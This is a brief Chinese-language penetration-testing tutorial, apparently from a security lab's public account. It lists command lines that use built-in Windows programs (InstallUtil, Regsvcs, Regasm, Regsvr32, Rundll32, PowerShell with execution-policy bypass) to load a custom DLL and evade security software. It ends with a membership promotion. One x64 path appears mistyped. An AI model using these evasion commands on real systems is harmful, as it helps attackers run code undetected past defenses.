六种bypass安全软件防护执行的方式

在渗透测试过程中，总是会遇到各种各种的安全防护。下面通过系统自带的程序来绕过安全防护，加载我们自己想要的DLL文件：

主要有：

1. InstallUtil.exe

2. Regsvcs.exe

3. Regasm.exe

4. Regsvr32.exe

5. Rundll32.exe

6. Powershell

详细用法如下：

1.

---

x86

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

x64

C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

2.

---

x86

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll

x64

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll

3.

---

x86

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll

x64

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll

4.

---

x86

regsvr32 /s /u AllTheThings.dll --> Calls DllUnregisterServer

x64

regsvr32 /s AllTheThings.dll --> Calls DllRegisterServer

5.

---

rundll32 AllTheThings.dll,EntryPoint

6.

---

直接使用powershell，加载powershell模块，具体使用的方式如下：

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群，内部微信群永久有效！

目前20000+人已关注加入我们

Ms08067安全实验室

专注于普及网络安全知识。团队已出版《Web安全攻防：渗透测试实战指南》，《内网安全攻防：渗透测试实战指南》，目前在编Python渗透测试，JAVA代码审计和二进制逆向方面的书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货，从零开始、以实战落地为主，致力于做一个实用的干货分享型公众号。

官方网站：www.ms08067.com